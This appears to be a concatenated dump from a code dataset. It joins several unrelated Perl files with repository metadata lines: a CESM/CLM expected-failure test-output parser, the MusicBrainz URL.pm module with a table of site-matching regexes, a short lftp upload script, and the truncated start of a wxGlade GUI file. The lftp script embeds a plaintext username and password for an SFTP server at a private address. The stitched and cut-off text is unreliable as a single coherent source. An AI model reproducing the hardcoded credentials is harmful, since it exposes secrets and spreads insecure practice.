############################################################################## =head1 CTOR Constructor for the class. Reads in three arguments: _callingName -> name of the script creating the new object _compareGenerate -> compare or generate option _totTests -> total number of tests to run Calls _readXml which reads the file expectedClmTestFails.xml and stores it memory for later searches. returns: new object ($self) =cut ############################################################################## # ############################################################################## sub new { my ($class_name) = @_; my $self = { _className => shift, _callingName => shift, _compareGenerate => shift, _totTests => shift, _foundList => undef, _numericalTestId => undef }; if ($DEBUG) { print "$self->{_callingName}\n"; print "$self->{_compareGenerate}\n"; } bless ($self, $class_name); $self->{_numericalTestId}=0; $self->{_created} = 1; $self->_readXml(); return $self; } ############################################################################## # ############################################################################## =head1 parseOutput parseOutput parsese the output from the build-namelist_test.pl script. It is similar to, but not interchangable with parseOutputCLM. The only argument is that of the reference variable that contains the information dumped by Test::More. returns: nothing =cut ############################################################################## # ############################################################################## sub parseOutput { my $report; my $testId; my @testName={}; my $testReason; my ($self, $output) = @_ ; #_#=========================================== #_# keep this in for logging #_#=========================================== print ("captured output is :: \n $output \n"); #_# split the output from Test::More output on newline my @refList = split('\n', $output); #_# process any buffered output which happens when a subroutine from build-namelist_test.pl #_# itself calls some testing routines foreach my $refSplit (@refList) { #_# always look at the last element of refSplit since that will have the info. from the #_# last test run my @outArr=split(/ /,$refSplit); if ($DEBUG) { print ("\nxFail::expectedFail::parseOutput @outArr[0] \n"); print ("xFail::expectedFail::parseOutput @outArr[1] \n"); print ("xFail::expectedFail::parseOutput @outArr[2] \n"); print ("xFail::expectedFail::parseOutput @outArr[3] \n"); print ("xFail::expectedFail::parseOutput @outArr[4] \n"); } my $size = @outArr-1; #_# first case, we have a passed (ok) test if (@outArr[0] eq "ok") { $self->{_numericalTestId}++; $report=$pass; $testId=@outArr[1]; @testName=@outArr[3..$size]; $testReason=""; my ($retVal,$xFailText)=$self->_searchExpectedFail($testId); my $testReason=$self->_testNowPassing($testId,$retVal,$xFailText); if($DEBUG){ print("$testReason \n"); } $self->_printOutput($report,$testId,$testReason,@testName); #_# deal with the case of a failed (not ok) test } elsif (@outArr[0] eq "not") { $self->{_numericalTestId}++; $testId=@outArr[2]; my ($retVal,$xFailText)=$self->_searchExpectedFail($testId); if ($DEBUG) { print ("xFail::expectedFail::parseOutput Id $retVal,$xFailText \n"); } @testName=@outArr[4..$size]; if ($retVal eq "TRUE"){ #_# found an expected FAIL (xFAIL) $report=$xfail; $testReason= "<Note: $xFailText>"; } else { #_# print a regular FAIL $report=$fail; $testReason=""; } $self->_printOutput($report,$testId,$testReason,@testName); } else { #_# skipping line. Trying to parse error code from Test::More } } #_# this resets the reference that points to $output (\$captOut) on the caller side @_[1]=""; } ############################################################################## # ############################################################################## =head1 parseOutputCLM parseOutputCLM parsese the output from the test_driver.sh script. It is similar to, but not interchangable with parseOutput. parseOutputCLM takes one arguments: $statFoo-> the name of the td.<pid>.status file returns: nothing =cut ############################################################################## # ############################################################################## sub parseOutputCLM { my $report; my $testId; my @testName={}; my $testReason; my ($self, $statFoo) = @_ ; open(FOO, "< $statFoo"); # open for input open(FOO_OUT, "> $statFoo.xFail"); # open for input my(@reportLines); while (<FOO>) { my($line) = $_; my @outArr=split(/ /,$line); if (looks_like_number(@outArr[0])) { $self->{_numericalTestId}++; my $num=sprintf("%03d", $self->{_numericalTestId}); my $totNum=sprintf("%03d", $self->{_totTests}); #_# last element has the pass/fail info. chomp(@outArr[-1]); my $repPass=substr(@outArr[-1], -4, 4); if ($DEBUG) { print ("xFail::expectedFail::parseOutput @outArr[0] \n"); print ("xFail::expectedFail::parseOutput @outArr[1] \n"); print ("xFail::expectedFail::parseOutput @outArr[2] \n"); print ("xFail::expectedFail::parseOutput @outArr[3] \n"); print ("xFail::expectedFail::parseOutput @outArr[4] \n"); print ("xFail::expectedFail::parseOutput @outArr[5] \n"); print ("xFail::expectedFail::parseOutput @outArr[6] \n"); print ("xFail::expectedFail::parseOutput @outArr[-1] \n"); print ("xFail::expectedFail::parseOutput $repPass \n"); } my $size = @outArr-1; if ($DEBUG) { print ("size of line $size \n"); } my $endOfDesc=$size-1; if ($repPass eq "PASS") { $report=$pass; $testId=@outArr[1]; @testName=@outArr[2..$endOfDesc]; my ($retVal,$xFailText)=$self->_searchExpectedFail($testId); my $testReason=$self->_testNowPassing($testId,$retVal,$xFailText); #_# print out the test results print FOO_OUT ("$num/$totNum <$report> <Test Id: $testId> <Desc: @testName> $testReason \n"); } else { $testId=@outArr[1]; my ($retVal,$xFailText)=$self->_searchExpectedFail($testId); if ($DEBUG) { print ("xFail::expectedFail::parseOutput Id $retVal,$xFailText \n"); } @testName=@outArr[2..$endOfDesc]; if ($retVal eq "TRUE"){ #_# found an expected FAIL (xFAIL) $report=$xfail; $testReason= "<Note: $xFailText>"; } else { #_# print a regular FAIL $report=$fail; $testReason=""; } #_# print out the test results print FOO_OUT ("$num/$totNum <$report> <Test Id: $testId> <Desc: @testName> $testReason \n"); } } else { print FOO_OUT $line; } } close(FOO); close(FOO_OUT); } ############################################################################## # ############################################################################## =head1 _searchExpectedFail searches the list of expected fails for a match with testId. _searchExpectedFail takes one arguments: $testId-> the test id (numerical or string) that we want to search for returns: $retVal (TRUE or FALSE) if id was found $text text from XML file =cut ############################################################################## # ############################################################################## sub _searchExpectedFail { my ( $self,$testId) = @_; #search through list for test ID my $retVal="FALSE"; if ($DEBUG) { print ("here 2 Id $self->{_foundList} \n"); } if ($self->{_foundList} eq "FALSE"){ if ($DEBUG) { print ("returning early Id \n"); } return $retVal; } my $failType; my $text; foreach my $tL (@testList) { my %tAtts = $tL->get_attributes(); my $tid=$tAtts{'testId'}; if ($DEBUG) { print ("_seachExpectedFail Id $tid $testId \n"); } if ($tid eq $testId) { if ($DEBUG) { print ("here Id \n"); } #~# found the test we're looking for $text=$tL->get_text(); $failType=$tAtts{'failType'}; if ($failType eq "xFail"){ $retVal="TRUE"; } } } return ($retVal,$text); } ############################################################################## # ############################################################################## =head1 _readXml reads the xml file for a particular machine, compiler, test type and (compare | generate) setup and saves it in memory for searching by _searchExpectedFail. _readXml takes no arguments returns: nothing =cut ############################################################################## # ############################################################################## sub _readXml { my ( $self ) = @_; #Figure out where configure directory is and where can use the XML/Lite module from my $ProgName; ($ProgName = $PROGRAM_NAME) =~ s!(.*)/!!; # name of program my $ProgDir = $1; # name of directory where program lives my $cwd = getcwd(); # current working directory my $cfgdir; if ($ProgDir) { $cfgdir = $ProgDir; } else { $cfgdir = $cwd; } #----------------------------------------------------------------------------------------------- # Add $cfgdir to the list of paths that Perl searches for modules my @dirs = ( $cfgdir, "$cfgdir/perl5lib", "$cfgdir/../../../../../scripts/ccsm_utils/Tools/perl5lib", "$cfgdir/../../../../../models/utils/perl5lib", ); unshift @INC, @dirs; my $result = eval "require XML::Lite"; if ( ! defined($result) ) { die <<"EOF"; ** Cannot find perl module \"XML/Lite.pm\" from directories: @dirs ** EOF } #----------------------------------------------------------------------------------------------- my ($machine,$compiler)=_getMachInfo(); my $testType=$self->_getTestType($self->{_callingName}); my $xmlFile=undef; if ($testType eq "clmInteractive" || $testType eq "clmBatch") { $xmlFile = "$cfgdir/expectedClmTestFails.xml"; } elsif ($testType eq "namelistTest") { $xmlFile = "xFail/expectedClmTestFails.xml"; } else { $xmlFile = "xFail/expectedClmTestFails.xml"; } my $xml = XML::Lite->new($xmlFile); my $root = $xml->root_element(); if ($DEBUG) { print "_readXml $self->{_callingName}\n"; print "_readXml $self->{_compareGenerate}\n"; print "_readXml $xmlFile \n"; print ("_readXml Debug testType $testType \n"); print ("_readXml Debug machine $machine \n"); print ("_readXml Debug compiler $compiler \n"); } # Check for valid root node my $name = $root->get_name(); $name eq "expectedFails" or die "readExpectedFail.pm::_readXml :: $xmlFile is not a file that contains expected test failures\n"; my @e = $xml->elements_by_name($testType); $self->{_foundList}="FALSE"; ### populate list of tests for a specfic test type, machine and compiler ### there's got to be a better way to write this while ( my $e = shift @e ) { my @mChildren = $e->get_children(); foreach my $mChild (@mChildren) { my $mName=$mChild->get_name(); if ($mName eq $machine){ my @cChildren = $mChild->get_children(); foreach my $cChild (@cChildren) { my $cName=$cChild->get_name(); if ($cName eq $compiler) { my @cgChildren=$cChild->get_children(); foreach my $cgChild (@cgChildren) { my $cgName=$cgChild->get_name(); if($cgName eq $self->{_compareGenerate}){ @testList=$cgChild->get_children(); $self->{_foundList}="TRUE"; last; } } } } } } } if ($DEBUG) { print ("here 1 $self->{_foundList} \n"); } } ############################################################################## # ############################################################################## =head1 _testNowPassing reads the xml file for a particular machine, compiler, test type and (compare | generate) setup and saves it in memory for searching by _searchExpectedFail. _testNowPassing takes three arguments: $id - test id to print out $retVal - TRUE or FALSE. Was the id found in the expected fail list $xmlText - text from the XML notes section of the file. (Currently not used, may be used in future). returns: a text string =cut ############################################################################## # ############################################################################## sub _testNowPassing { my ($self, $id, $retVal, $xmlText) = @_ ; my $text=undef; if ($retVal eq "TRUE") { #_# found a test that passes now, but is listed as an xFail $text = "<NOTE: $id is a new PASS; was xFAIL>\n"; } else { #_# this test passes and was not previously listed as an xFail #_# noOp } return $text; } ############################################################################## # ############################################################################## =head1 _printOutput method that prints output for status files. _printOutput takes four arguments: $report - PASS,FAIL,xFAIL $testId - test id to print out $testReason - for xFAIL and new PASSES, additional reporting @testName - test description from original test returns: a text string =cut ############################################################################## # ############################################################################## sub _printOutput { my ($self, $report, $testId, $testReason, @testName) = @_ ; #_# print out the test results my $num=sprintf("%03d", $self->{_numericalTestId}); my $totNum=sprintf("%03d", $self->{_totTests}); print ("$num/$totNum <$report> <Test Id: $testId> <Desc: @testName> $testReason \n"); } ############################################################################## # ############################################################################## =head1 _getTestType method that takes the name of the calling script and returns the type of test. Used for searching the expected fail list. _getTestType takes four arguments: $name - name of calling script returns: $type, the type of test =cut ############################################################################## # ############################################################################## sub _getTestType { my ($self, $name) = @_ ; if($DEBUG){ print ("_getTestType $name"); } my %testTypes = ( "build-namelist_test.pl" => "namelistTest", "test_driver.sh-i" => "clmInteractive", "test_driver.sh" => "clmBatch", "clm-cesm.sh" => "cesm" ); my $type = $testTypes {lc $name} || "unknown"; return $type; } ############################################################################## # ############################################################################## =head1 _getMachInfo method that figures out on what platform this is running and returns a 2 digit machine identifier and the compiler. This will eventually contain multiple compiler for various machines. _getMachInfo takes no arguments returns: $mach - the machine I'm running on $comp - the compiler being used =cut ############################################################################## # ############################################################################## sub _getMachInfo { my $name=`uname -n`; $name = substr($name, 0, 2); my %machNames = ( "ys" => "yellowstone", "fr" => "frankfurt" ); my %compNames = ( "ys" => "INTEL", "fr" => "INTEL" ); my $mach = $machNames {lc $name} || "unknown"; my $comp = $compNames {lc $name} || "unknown"; return ($mach,$comp); } # A Perl module must end with a true value or else it is considered not to # have loaded. By convention this value is usually 1 though it can be # any true value. A module can end with false to indicate failure but # this is rarely used and it would instead die() (exit with an error). 1;
28.768311
125
0.494233
ed27064127d84c2a6a71b430a4e295f42acfbc2b
16,392
pm
Perl
lib/MusicBrainz/Server/Data/URL.pm
qls0ulp/musicbrainz-server
ebe8a45bf6f336352cd5c56e2e825d07679c0e45
[ "BSD-2-Clause" ]
null
null
null
lib/MusicBrainz/Server/Data/URL.pm
qls0ulp/musicbrainz-server
ebe8a45bf6f336352cd5c56e2e825d07679c0e45
[ "BSD-2-Clause" ]
null
null
null
lib/MusicBrainz/Server/Data/URL.pm
qls0ulp/musicbrainz-server
ebe8a45bf6f336352cd5c56e2e825d07679c0e45
[ "BSD-2-Clause" ]
1
2020-01-18T14:59:32.000Z
2020-01-18T14:59:32.000Z
package MusicBrainz::Server::Data::URL; use Moose; use namespace::autoclean; use Carp; use MusicBrainz::Server::Data::Utils qw( generate_gid hash_to_row ); use MusicBrainz::Server::Entity::URL; use URI; extends 'MusicBrainz::Server::Data::CoreEntity'; with 'MusicBrainz::Server::Data::Role::Editable' => { table => 'url' }, 'MusicBrainz::Server::Data::Role::LinksToEdit' => { table => 'url' }, 'MusicBrainz::Server::Data::Role::Merge'; sub _type { 'url' } my %URL_SPECIALIZATIONS = ( # External links section '45cat' => qr{^https?://(?:www\.)?45cat\.com/}i, '45worlds' => qr{^https?://(?:www\.)?45worlds\.com/}i, 'Allmusic' => qr{^https?://(?:www\.)?allmusic\.com/}i, 'Animationsong' => qr{^https?://(?:www\.)?animationsong\.com/}i, 'AnimeNewsNetwork' => qr{^https?://(?:www\.)?animenewsnetwork\.com/}i, 'AnisonGeneration' => qr{^https?://anison\.info/}i, 'ASIN' => qr{^https?://(?:www\.)?amazon(.*?)(?:\:[0-9]+)?/.*/([0-9B][0-9A-Z]{9})(?:[^0-9A-Z]|$)}i, 'BBCMusic' => qr{^https?://(?:www\.)?bbc\.co\.uk/music/}i, 'BaiduBaike' => qr{^https?://baike\.baidu\.com/}i, 'Bandcamp' => qr{^https?://([^/]+\.)?bandcamp\.com/}i, 'Bandsintown' => qr{^https?://(?:www\.)?bandsintown\.com/}i, 'Beatport' => qr{^https?://([^/]+\.)?beatport\.com/}i, 'BigCartel' => qr{^https?://([^/]+\.)?bigcartel\.com}i, 'BnFCatalogue' => qr{^https?://catalogue\.bnf\.fr/}i, 'BrahmsIrcam' => qr{^https?://brahms\.ircam\.fr/}i, 'Canzone' => qr{^https?://(?:www\.)?discografia\.dds\.it/}i, 'Cancioneros' => qr{^https?://(?:www\.)?cancioneros\.si/}i, 'Castalbums' => qr{^https?://(?:www\.)?castalbums\.org/}i, 'CBFiddleRx' => qr{^https?://(?:www\.)?cbfiddle\.com/rx/}i, 'CDBaby' => qr{^https?://(?:(?:store|www)\.)?cdbaby\.com/}i, 'ChangeTip' => qr{^https?://(?:www\.)?changetip\.com/tipme/}i, 'CiNii' => qr{^https?://(?:www\.)?ci\.nii\.ac\.jp/}i, 'ClassicalArchives' => qr{^https?://(?:www\.)?classicalarchives\.com/}i, 'Commons' => qr{^https?://commons\.wikimedia\.org/wiki/File:}i, 'CPDL' => qr{^https?://cpdl\.org/wiki/}i, 'Dailymotion' => qr{^https?://(?:www\.)?dailymotion\.com/}i, 'DanceDB' => qr{^https?://(?:www\.)?tedcrane\.com/DanceDB/}i, 'Decoda' => qr{^https?://(?:www\.)?decoda\.com/}i, 'DHHU' => qr{^https?://(?:www\.)?dhhu\.dk/}i, 'Directlyrics' => qr{^https?://(?:www\.)?directlyrics\.com/}i, 'Discogs' => qr{^https?://(?:www\.)?discogs\.com/}i, 'DiscosDoBrasil' => qr{^https?://(?:www\.)?discosdobrasil\.com\.br/}i, 'DNB' => qr{^https?://(?:www\.)?d-nb\.info/}i, 'DRAM' => qr{^https?://(?:www\.)?dramonline\.org/}i, 'Encyclopedisque' => qr{^https?://(?:www\.)?encyclopedisque\.fr/}i, 'ESTER' => qr{^https?://(?:www\.)?ester\.ee/}i, 'Facebook' => qr{^https?://(?:www\.)?facebook\.com/}i, 'Finna' => qr{^https?://(?:www\.)?finna\.fi/}i, 'Finnmusic' => qr{^https?://(?:www\.)?finnmusic\.net/}i, 'Flattr' => qr{^https?://(?:www\.)?flattr\.com/profile/}i, 'FolkWiki' => qr{^https?://(?:www\.)?folkwiki\.se/}i, 'FonoFi' => qr{^https?://(?:www\.)?fono\.fi/}i, 'Generasia' => qr{^https?://(?:www\.)?generasia\.com/wiki/}i, 'Genius' => qr{^https?://(?:[^/]+\.)?genius\.com/}i, 'GooglePlay' => qr{^https?://play\.google\.com/}i, 'GooglePlus' => qr{^https?://(?:www\.)?plus\.google\.com/}i, 'Gutenberg' => qr{^https?://(?:www\.)?gutenberg\.org/}i, 'HMikuWiki' => qr{^https?://www5\.atwiki\.jp/hmiku/}i, 'Hoick' => qr{^https?://(?:www\.)?hoick\.jp/}i, 'IBDb' => qr{^https?://(?:www\.)?ibdb\.com/}i, 'IMDb' => qr{^https?://(?:www\.)?imdb\.com/}i, 'IMSLP' => qr{^https?://(?:www\.)?imslp\.org/wiki/}i, 'IMVDb' => qr{^https?://(?:www\.)?imvdb\.com/}i, 'IOBDb' => qr{^https?://(?:www\.)?lortel\.org/}i, 'Indiegogo' => qr{^https?://(?:www\.)?indiegogo\.com/}i, 'Instagram' => qr{^https?://(?:www\.)?instagram\.com/}i, 'InternetArchive' => qr{^https?://(?:www\.)?archive\.org/details/}i, 'IrishTune' => qr{^https?://(?:www\.)?irishtune\.info/}i, 'ISRCTW' => qr{^https?://(?:www\.)?isrc\.ncl\.edu\.tw/}i, 'iTunes' => qr{^https?://itunes\.apple\.com/}i, 'Jamendo' => qr{^https?://(?:www\.)?jamendo\.com/}i, 'Japameta' => qr{^https?://(?:www\.)?japanesemetal\.gooside\.com/}i, 'JLyric' => qr{^https?://(?:www\.)?j-lyric\.net/}i, 'Joysound' => qr{^https?://(?:www\.)?joysound\.com/}i, 'JunoDownload' => qr{^https?://(?:www\.)?junodownload\.com/}i, 'Kashinavi' => qr{^https?://(?:www\.)?kashinavi\.com/}i, 'KasiTime' => qr{^https?://(?:www\.)?kasi-time\.com/}i, 'Kget' => qr{^https?://(?:www\.)?kget\.jp/}i, 'Kickstarter' => qr{^https?://(?:www\.)?kickstarter\.com/}i, 'Kofi' => qr{^https?://(?:www\.)?ko-fi\.com/}i, 'LaBoiteAuxParoles' => qr{^https?://(?:www\.)?laboiteauxparoles\.com/}i, 'LastFM' => qr{^https?://(?:www\.)?last\.fm/}i, 'Lieder' => qr{^https?://(?:www\.)?lieder\.net/}i, 'LinkedIn' => qr{^https?://([^/]+\.)?linkedin\.com/}i, 'LiveFans' => qr{^https?://(?:www\.)?livefans\.jp/}i, 'LoC' => qr{^https?://(?:[^/]+\.)?loc\.gov/}i, 'Loudr' => qr{^https?://(?:www\.)?loudr\.fm/}i, 'LyricEvesta' => qr{^https?://lyric\.evesta\.jp/}i, 'LyricsNMusic' => qr{^https?://lyricsnmusic\.com/}i, 'LyricWiki' => qr{^https?://lyrics\.wikia\.com/}i, 'MainlyNorfolk' => qr{^https?://(?:www\.)?mainlynorfolk\.info/}i, 'Maniadb' => qr{^https?://(?:www\.)?maniadb\.com/}i, 'MetalArchives' => qr{^https?://(?:www\.)?metal-archives\.com/}i, 'Mixcloud' => qr{^https?://(?:www\.)?mixcloud\.com/}i, 'MusicaPopularCl' => qr{^https?://(?:www\.)?musicapopular\.cl/}i, 'MusicMoz' => qr{^https?://(?:www\.)?musicmoz\.org/}i, 'MusikSammler' => qr{^https?://(?:www\.)?musik-sammler\.de/}i, 'Musixmatch' => qr{^https?://(?:www\.)?musixmatch\.com/}i, 'Musopen' => qr{^https?://(?:www\.)?musopen\.org/}i, 'Muzikum' => qr{^https?://(?:www\.)?muzikum\.eu/}i, 'MVDbase' => qr{^https?://(?:www\.)?mvdbase\.com/}i, 'MySpace' => qr{^https?://(?:www\.)?myspace\.com/}i, 'NDL' => qr{^https?://(?:www\.)?iss\.ndl\.go\.jp/}i, 'NDLAuthorities' => qr{^https?://id\.ndl\.go\.jp/}i, 'NicoNicoVideo' => qr{^https?://(?:www\.)?nicovideo\.jp/}i, 'OCReMix' => qr{^https?://(?:www\.)?ocremix\.org/}i, 'OnlineBijbel' => qr{^https?://(?:www\.)?onlinebijbel\.nl/}i, 'OpenLibrary' => qr{^https?://(?:www\.)?openlibrary\.org/}i, 'Operabase' => qr{^https?://(?:www\.)?operabase\.com/}i, 'Operadis' => qr{^https?://(?:www\.)?operadis-opera-discography\.org\.uk/}i, 'Ozon' => qr{^https?://(?:www\.)?ozon\.ru/}i, 'Patreon' => qr{^https?://(?:www\.)?patreon\.com/}i, 'PayPalMe' => qr{^https?://(?:www\.)?paypal\.me/}i, 'PetitLyrics' => qr{^https?://(?:www\.)?petitlyrics\.com/}i, 'Piosenki' => qr{^https?://(?:www\.)?bibliotekapiosenki\.pl/}i, 'Pomus' => qr{^https?://(?:www\.)?pomus\.net/}i, 'ProgArchives' => qr{^https?://(?:www\.)?progarchives\.com/}i, 'PsyDB' => qr{^https?://(?:www\.)?psydb\.net/}i, 'PureVolume' => qr{^https?://(?:www\.)?purevolume\.com/}i, 'QuebecInfoMusique' => qr{^https?://(?:www\.)?qim\.com/}i, 'Rateyourmusic' => qr{^https?://(?:www\.)?rateyourmusic\.com/}i, 'ResidentAdvisor' => qr{^https?://(?:www\.)?residentadvisor\.net/}i, 'ReverbNation' => qr{^https?://(?:www\.)?reverbnation\.com/}i, 'RockComAr' => qr{^https?://(?:www\.)?rock\.com\.ar/}i, 'RockensDanmarkskort' => qr{^https?://(?:www\.)?rockensdanmarkskort\.dk/}i, 'RockInChina' => qr{^https?://(?:www\.)?rockinchina\.com/}i, 'Rockipedia' => qr{^https?://(?:www\.)?rockipedia\.no/}i, 'Rolldabeats' => qr{^https?://(?:www\.)?rolldabeats\.com/}i, 'Runeberg' => qr{^https?://(?:www\.)?runeberg\.org/}i, 'SecondHandSongs' => qr{^https?://(?:www\.)?secondhandsongs\.com/}i, 'SetlistFM' => qr{^https?://(?:www\.)?setlist\.fm/}i, 'SMDB' => qr{^https?://(?:www\.)?smdb\.kb\.se/}i, 'SNAC' => qr{^https?://(?:www\.)?snaccooperative\.org/}i, 'Songfacts' => qr{^https?://(?:www\.)?songfacts\.com/}i, 'Songkick' => qr{^https?://(?:www\.)?songkick\.com/}i, 'SoundCloud' => qr{^https?://(?:www\.)?soundcloud\.com/}i, 'SoundtrackCollector' => qr{^https?://(?:www\.)?soundtrackcollector\.com/}i, 'Spotify' => qr{^https?://([^/]+\.)?spotify\.com/}i, 'SpiritOfMetal' => qr{^https?://(?:www\.)?spirit-of-metal\.com/}i, 'SpiritOfRock' => qr{^https?://(?:www\.)?spirit-of-rock\.com/}i, 'Stage48' => qr{^https?://(?:www\.)?stage48\.net/}i, 'Tipeee' => qr{^https?://(?:www\.)?tipeee\.com/}i, 'Theatricalia' => qr{^https?://(?:www\.)?theatricalia\.com/}i, 'TheDanceGypsy' => qr{^https?://(?:www\.)?thedancegypsy\.com/}i, 'TheSession' => qr{^https?://(?:www\.)?thesession\.org/}i, 'TouhouDB' => qr{^https?://(?:www\.)?touhoudb\.com/}i, 'TripleJUnearthed' => qr{^https?://(?:www\.)?triplejunearthed\.com/}i, 'Trove' => qr{^https?://(?:www\.)?(?:trove\.)?nla\.gov\.au/}i, 'Tunearch' => qr{^https?://(?:www\.)?tunearch\.org/}i, 'Twitch' => qr{^https?://(?:www\.)?twitch\.tv/}i, 'Twitter' => qr{^https?://(?:www\.)?twitter\.com/}i, 'UtaiteDB' => qr{^https?://(?:www\.)?utaitedb\.net/}i, 'Utamap' => qr{^https?://(?:www\.)?utamap\.com/}i, 'UtaNet' => qr{^https?://(?:www\.)?uta-net\.com/}i, 'Utaten' => qr{^https?://(?:www\.)?utaten\.com/}i, 'VGMdb' => qr{^https?://(?:www\.)?vgmdb\.net/}i, 'VIAF' => qr{^https?://(?:www\.)?viaf\.org/}i, 'Videogamin' => qr{^https?://(?:www\.)?videogam\.in/}i, 'Vimeo' => qr{^https?://(?:www\.)?vimeo\.com/}i, 'VK' => qr{^https?://(?:www\.)?vk\.com/}i, 'Vkdb' => qr{^https?://(?:www\.)?vkdb\.jp/}i, 'VocaDB' => qr{^https?://(?:www\.)?vocadb\.net/}i, 'WhoSampled' => qr{^https?://(?:www\.)?whosampled\.com/}i, 'Wikidata' => qr{^https?://(?:www\.)?wikidata\.org/wiki/}i, 'Wikipedia' => qr{^https?://([\w-]{2,})\.wikipedia\.org/wiki/}i, 'Wikisource' => qr{^https?://([\w-]{2,})\.wikisource\.org/wiki/}i, 'Worldcat' => qr{^https?://(?:www\.)?worldcat\.org/}i, 'YouTube' => qr{^https?://(?:www\.)?youtube\.com/}i, 'Yunisan' => qr{^https?://(?:www22\.)?big\.or\.jp/}i, # License links 'CCBY' => qr{^https?://creativecommons\.org/licenses/by/}i, 'CCBYND' => qr{^https?://creativecommons\.org/licenses/by-nd/}i, 'CCBYNC' => qr{^https?://creativecommons\.org/licenses/by-nc/}i, 'CCBYNCND' => qr{^https?://creativecommons\.org/licenses/by-nc-nd/}i, 'CCBYNCSA' => qr{^https?://creativecommons\.org/licenses/by-nc-sa/}i, 'CCBYSA' => qr{^https?://creativecommons\.org/licenses/by-sa/}i, 'CC0' => qr{^https?://creativecommons\.org/publicdomain/zero/}i, 'CCPD' => qr{^https?://creativecommons\.org/licenses/publicdomain/}i, 'CCSampling' => qr{^https?://creativecommons\.org/licenses/sampling/}i, 'CCNCSamplingPlus' => qr{^https?://creativecommons\.org/licenses/nc-sampling\+/}i, 'CCSamplingPlus' => qr{^https?://creativecommons\.org/licenses/sampling\+/}i, 'ArtLibre' => qr{^https?://artlibre\.org/licence/lal}i, ); sub _columns { return 'id, gid, url, edits_pending'; } sub _entity_class { my ($self, $row) = @_; if ($row->{url}) { for my $class (keys %URL_SPECIALIZATIONS) { my $regex = $URL_SPECIALIZATIONS{$class}; return "MusicBrainz::Server::Entity::URL::$class" if ($row->{url} =~ $regex); } } return 'MusicBrainz::Server::Entity::URL'; } sub _merge_impl { my ($self, $new_id, @old_ids) = @_; # A URL is automatically deleted if it has no relationships, so we have # manually do this merge. We add the GID redirect first, then merge # all relationships (which will in turn delete the old URL). my @old_gids = @{ $self->c->sql->select_single_column_array( 'SELECT gid FROM url WHERE id = any(?)', \@old_ids ) }; # Update all GID redirects from @old_ids to $new_id $self->update_gid_redirects($new_id, @old_ids); # Add new GID redirects $self->add_gid_redirects(map { $_ => $new_id } @old_gids); $self->c->model('Edit')->merge_entities('url', $new_id, @old_ids); $self->c->model('Relationship')->merge_entities('url', $new_id, \@old_ids); $self->_delete(@old_ids); return 1; } sub find_by_url { my ($self, $url) = @_; my $normalized = URI->new($url)->canonical; my $query = 'SELECT ' . $self->_columns . ' FROM ' . $self->_table . ' WHERE url = ?'; $self->query_to_list($query, [$normalized]); } sub update { my ($self, $url_id, $url_hash) = @_; croak '$url_id must be present and > 0' unless $url_id > 0; my ($merge_into) = grep { $_->id != $url_id } $self->find_by_url($url_hash->{url}); if ($merge_into) { $self->merge($merge_into->id, $url_id); return $merge_into->id; } else { $url_hash->{url} = URI->new($url_hash->{url})->canonical; my $row = $self->_hash_to_row($url_hash); $self->sql->update_row('url', $row, { id => $url_id }); return $url_id; } } sub _delete { my ($self, @ids) = @_; $self->sql->do('DELETE FROM url WHERE id = any(?)', \@ids); } sub _hash_to_row { my ($self, $values) = @_; return hash_to_row($values, { url => 'url', }); } sub insert { confess "Should not be used for URLs" } sub find_or_insert { my ($self, $url) = @_; $url = URI->new($url)->canonical; my $row = $self->sql->select_single_row_hash('SELECT * FROM url WHERE url = ?', $url); unless ($row) { $self->sql->auto_commit(1); my $to_insert = { url => $url, gid => generate_gid() }; $row = { %$to_insert, id => $self->sql->insert_row('url', $to_insert, 'id') }; } return $self->_new_from_row($row); } __PACKAGE__->meta->make_immutable; no Moose; 1; =head1 COPYRIGHT Copyright (C) 2009 Lukas Lalinsky This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. =cut
50.436923
117
0.494754
ed1a209bbbc072e961f6d185beea70ec3987c235
311
pl
Perl
lftp_test.pl
klaricch/Breadfruit
f0deb6ce4adc56a5586bc6b242e00aaf7fa0a8e8
[ "MIT" ]
1
2017-12-19T22:18:48.000Z
2017-12-19T22:18:48.000Z
lftp_test.pl
klaricch/Breadfruit
f0deb6ce4adc56a5586bc6b242e00aaf7fa0a8e8
[ "MIT" ]
1
2018-09-30T00:13:52.000Z
2018-09-30T00:13:52.000Z
lftp_test.pl
klaricch/Breadfruit
f0deb6ce4adc56a5586bc6b242e00aaf7fa0a8e8
[ "MIT" ]
null
null
null
#!/usr/bin/perl -w use 5.010; use strict; use warnings; my $file = "lftpfile.txt"; system "lftp sftp://kristen:moraceae\@10.0.8.1 -e 'cd homes/kristen/data; put $file;bye'"; system "rm $file"; #system "lftp sftp://kristen:moraceae\@10.0.8.1 -e 'get /homes/kristen/data/$file;bye'"; exit;
20.733333
91
0.62701
ed27b26bb3b8f0511d17ed205666d07a3f081448
35,869
pl
Perl
tests/casefiles/AllWidgets_30.pl
marcus67/wxGlade
c3b8c96fb048b13d015748889ec0ed54cbc8bdfa
[ "MIT" ]
null
null
null
tests/casefiles/AllWidgets_30.pl
marcus67/wxGlade
c3b8c96fb048b13d015748889ec0ed54cbc8bdfa
[ "MIT" ]
null
null
null
tests/casefiles/AllWidgets_30.pl
marcus67/wxGlade
c3b8c96fb048b13d015748889ec0ed54cbc8bdfa
[ "MIT" ]
null
null
null
#!/usr/bin/perl -w -- # # generated by wxGlade # # To get wxPerl visit http://www.wxperl.it # use Wx qw[:allclasses]; use strict; # begin wxGlade: dependencies use Wx::ArtProvider qw/:artid :clientid/; use Wx::PropertyGridManager; # end wxGlade # begin wxGlade: extracode # end wxGlade package All_Widgets_Frame; use Wx qw[:everything]; use base qw(Wx::Frame); use strict; use Wx::Locale gettext => '_T'; # begin wxGlade: dependencies use Wx::ArtProvider qw/:artid :clientid/; use Wx::PropertyGridManager; # end wxGlade sub new { my( $self, $parent, $id, $title, $pos, $size, $style, $name ) = @_; $parent = undef unless defined $parent; $id = -1 unless defined $id; $title = "" unless defined $title; $pos = wxDefaultPosition unless defined $pos; $size = wxDefaultSize unless defined $size; $name = "" unless defined $name; # begin wxGlade: All_Widgets_Frame::new $style = wxDEFAULT_FRAME_STYLE unless defined $style; $self = $self->SUPER::new( $parent, $id, $title, $pos, $size, $style, $name ); $self->SetSize(Wx::Size->new(800, 417)); $self->SetTitle(_T("All 